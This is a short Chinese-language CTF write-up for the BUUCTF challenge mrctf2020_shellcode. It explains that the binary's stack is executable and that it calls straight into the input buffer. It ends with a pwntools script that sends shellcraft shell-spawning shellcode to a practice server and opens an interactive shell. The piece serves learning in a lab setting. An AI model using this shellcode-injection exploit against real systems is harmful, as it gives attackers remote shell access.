[buuctf]mrctf2020_shellcode 1

首先查看一下文件的保护措施
image
发现栈是可执行的,并且存在可读可写可执行的区域,可以往shellcode注入方面去想
然后用ida打开文件查看一下
image
发现无法进行反编译,就只能看汇编代码了
image
这里设置了两个变量,buf和var_4,buf的大小为410h,然后调用read函数进行输入,大小为400h,所以无法进行栈溢出
然后在调用read函数之后,会将读取的字节数存储在eax中,将eax的值放在var_4中与0进行比较,如果var_4的值大于0,则跳转 short loc_11D6
这里是肯定要进行跳转的,不然程序直接就结束了
image
这里将buf的地址传给了rax,然后在进行call rax执行buf中的代码,所以在进行输入的时候直接构造shellcode进行输入即可

点击查看代码
from pwn import *
io=remote("node5.buuoj.cn",28589)
context.arch='amd64'
payload= asm(shellcraft.sh())
io.sendlineafter("Show me your magic!",payload)
io.interactive()
posted @ 2025-08-26 12:07  Rye01R  阅读(40)  评论(0)    收藏  举报